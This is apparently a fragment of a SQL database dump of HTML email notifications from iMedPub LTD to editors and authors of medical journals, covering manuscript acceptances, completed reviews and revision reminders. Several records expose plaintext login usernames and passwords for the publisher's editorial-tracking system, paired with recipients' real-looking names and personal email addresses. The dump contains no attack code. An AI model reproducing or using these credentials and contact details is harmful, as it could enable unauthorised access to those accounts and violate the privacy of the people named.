Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9381</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',9381,'2021-07-23',85),(3497,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9303</b><br />\r\n            <br />\r\n            Article Title: <b>The burden of diabetic kidney disease in Nigeria- systematic review and meta-analysis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Adegoke AZEEZ Taoreed</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9303</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',9303,'2021-07-23',85),(3498,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9233</b><br />\r\n            <br />\r\n            Article Title: <b>GUILLAIN BARRE VS MIASTENIA GRAVIS AS AN ATYPICAL PRESENTATION OF SARS COV 2 BY MOLECULAR MIMIC: PURPOSE OF A CASE</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>MONTERO GONZALEZ</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drjesusmontero@gmail.com',9233,'2021-07-23',1045),(3500,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9411</b><br />\r\n            <br />\r\n            Article Title: <b>Determination of Cell Biomedical Sciences</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Akio </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9411</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9411,'2021-07-24',988),(3501,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9411</b><br />\r\n            <br />\r\n            Article Title: <b>Determination of Cell Biomedical Sciences</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kio17@gmail.com',9411,'2021-07-24',988),(3502,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9411</b><br />\r\n            <br />\r\n            Article Title: <b>Determination of Cell Biomedical Sciences</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kio17@gmail.com',9411,'2021-07-24',988),(3503,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-9173</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge, attitude and practice of mothers towards exclusive breast feeding in Ginnir town, Bale Zone, Oromia region, southeast Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wanamo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tilahunjimma2008@gmail.com',9173,'2021-07-24',48),(3507,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9340</b><br />\r\n            <br />\r\n            Article Title: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Perez Calvo</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-9340</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>christian</b><br />\r\n            Password : <b>JP7xp2Wg</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','christianperez05@hotmail.com',9340,'2021-07-24',274),(3508,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9340</b><br />\r\n            <br />\r\n            Article Title: <b>ACCIDENTE CEREBROVASCULAR EN PACIENTE JOVEN: EPIDEMIOLOG&Iacute;A, MANIFESTACIONES, DIAGN&Oacute;STICO Y TRATAMIENTO</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Perez Calvo</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-21-9340</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>christian</b><br />\r\n            Password : <b>JP7xp2Wg</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','christianperez05@hotmail.com',9340,'2021-07-24',274),(3509,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9537</b><br />\r\n            <br />\r\n            Article Title: <b>Bimedical Therapy of Drugs Sciences.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Shah Dwayne</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9537</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9537,'2021-07-26',988),(3511,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9537</b><br />\r\n            <br />\r\n            Article Title: <b>Bimedical Therapy of Drugs Sciences.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dwayne</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','swayne@gmail.com',9537,'2021-07-26',988),(3514,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9580</b><br />\r\n            <br />\r\n            Article Title: <b>The life of Biomedicine and its roles.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kin Wang</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9580</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9580,'2021-07-26',988),(3515,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9580</b><br />\r\n            <br />\r\n            Article Title: <b>The life of Biomedicine and its roles.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','wangk@gmail.com',9580,'2021-07-26',988),(3516,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9408</b><br />\r\n            <br />\r\n            Article Title: <b>Career as a Biomedical Scientist and Why it was Important?</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mark Dwayne</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-9408</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',9408,'2021-07-26',988),(3517,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-9408</b><br />\r\n            <br />\r\n            Article Title: <b>Career as a Biomedical Scientist and Why it was Important?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dwayne</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Mark@gmail.com',9408,'2021-07-26',988),(3526,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9303</b><br />\r\n            <br />\r\n            Article Title: <b>The burden of diabetic kidney disease in Nigeria- systematic review and meta-analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Taoreed</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','adegokegalaxy@yahoo.com',9303,'2021-07-27',85),(3527,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-9210</b><br />\r\n            <br />\r\n            Article Title: <b>Non-invasive hemodynamic monitoring in TAVI-patients reveals more pronounced  early in-hospital circulatory recovery for low-gradient aortic stenosis  </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Birgit Markus </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-9210</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',9210,'2021-07-27',85),(3532,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7559</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Neurophysiological Monitoring</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Martinez-Soler</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neurosurgery@europe.com',7559,'2021-07-28',75),(3547,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7559</b><br />\r\n            <br />\r\n            Article Title: <b>Intraoperative Neurophysiological Monitoring</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Martinez-Soler</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-07-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        